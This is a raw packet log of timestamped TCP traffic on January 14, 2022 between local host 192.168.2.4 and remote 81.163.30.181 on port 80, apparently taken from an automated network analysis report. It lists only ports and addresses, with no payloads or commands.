Jan 14, 2022 20:29:55.442126036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442151070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442167997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442172050 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442184925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442199945 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442203045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442217112 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442222118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442240000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442250013 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442259073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442277908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442279100 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442296028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442312002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442320108 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442329884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442348957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442349911 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442364931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442384005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442401886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442405939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442419052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442435026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442436934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442454100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442466021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442472935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442490101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442498922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442507029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442524910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442539930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442542076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442558050 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442559958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442578077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442595005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.442610025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.442630053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.443730116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443754911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443773031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443789959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443809032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443815947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.443830013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443842888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.443846941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443865061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443869114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.443881989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443900108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443912983 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.443917990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443936110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443943024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.443953037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443969965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443986893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.443994045 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.444022894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.493657112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.493752003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.500581980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500607014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500621080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500641108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500658989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500677109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500679970 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.500695944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500713110 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.500714064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500727892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.500732899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500750065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500761986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.500766993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500783920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500797033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.500802040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500821114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500838041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.500839949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500858068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500870943 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.500874996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500891924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500905037 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.500910044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500926971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500945091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500957966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.500965118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.500979900 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.500983953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501002073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501013994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.501018047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501035929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501043081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.501054049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501071930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501082897 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.501089096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501106977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501116037 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.501125097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501142979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501156092 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.501183033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.501759052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501956940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501977921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.501995087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502012014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502023935 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.502032042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502048969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502051115 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.502063990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.502067089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502087116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502103090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502120972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502130032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.502136946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502154112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502161026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.502166033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.502172947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502191067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.502214909 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.545171022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.551911116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559010983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559035063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559052944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559072971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559092045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559093952 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.559103966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559113979 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.559115887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559129953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559144020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559155941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559168100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559180975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559202909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559218884 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.559221029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559238911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559241056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.559256077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559267044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559278965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559290886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559303999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559317112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559330940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559348106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559365034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559384108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559401989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559411049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.559422016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559436083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559454918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559468031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.559473038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559484005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.559493065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559510946 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.559511900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559544086 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.559897900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559916019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559933901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559951067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559962034 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.559969902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559987068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.559989929 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.560003996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.560008049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.560020924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.560039043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.560048103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.560055971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.560072899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.560075998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.560089111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.560106039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.560111046 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.560122967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.560144901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.603147984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.604187965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.617589951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.617649078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.617688894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.617712021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.617729902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.617769957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.617783070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.617811918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.617892981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.617934942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.617948055 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.617974997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618015051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618027925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618057966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618062019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618100882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618144035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618155003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618184090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618225098 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618237019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618267059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618304968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618344069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618359089 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618383884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618424892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618438005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618467093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618479967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618508101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618549109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618556023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618591070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618629932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618663073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618691921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618731022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618793011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618799925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618834019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618875980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618889093 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618916988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618920088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.618959904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.618999958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619012117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619041920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619083881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619090080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619123936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619165897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619205952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619219065 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619246960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619290113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619296074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619328976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619333029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619369984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619410038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619421959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619448900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619488955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619502068 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619530916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619570971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619611979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619623899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619651079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619692087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619704008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619733095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619735956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619771957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619812012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619826078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619854927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619894028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619908094 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.619936943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.619976044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620014906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620022058 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620057106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620095015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620106936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620136023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620147943 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620176077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620217085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620223045 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620258093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620295048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620307922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620337009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620376110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620414019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620425940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620454073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620492935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620505095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620533943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620547056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620575905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620615005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620626926 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620656967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620697021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620711088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620735884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620776892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620815992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620821953 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620857954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620898008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620910883 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620937109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.620943069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.620978117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.621016979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.621028900 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.621057034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.621103048 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.628402948 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.662107944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.662168980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.662208080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.662249088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.662282944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.662312984 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.679311991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.679383039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.679445028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.679445028 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.679502964 CET	80	49882	81.163.30.181	192.168.2.4
